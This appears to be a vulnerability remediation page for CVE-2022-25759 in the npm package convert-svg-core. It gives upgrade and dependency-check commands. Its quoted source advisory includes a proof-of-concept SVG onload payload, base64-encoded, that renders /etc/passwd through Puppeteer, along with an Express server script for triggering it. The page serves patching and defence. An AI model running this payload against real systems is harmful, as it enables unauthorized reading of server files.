How to Fix CVE-2022-25759

To remediate this vulnerability, upgrade all affected Convert svg core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

convert-svg-core fixed: 0.6.2 
npm install convert-svg-core@0.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls convert-svg-core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2022-25759, inspect your project dependencies using npm:

npm ls convert-svg-core

Analyze the terminal output to locate any version of Convert svg core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.2), your application is affected.

Note: The npm ls convert-svg-core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Convert svg core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code. ### PoC **Payload** ```html <svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg> ``` where the `id` attribute is the base 64-encoded form of ```js document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>'); ``` **Attack** ```js const { convert } = require('convert-svg-to-png'); const express = require('express'); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()} const app = express(); app.get('/poc', async (req, res)=>{ try { const png = await convert(fileSvg); res.set('Content-Type', 'image/png'); res.send(png); } catch (e) { console.log(e); res.send(""); } }); app.listen(3000, ()=>{ console.log('started'); }); ```
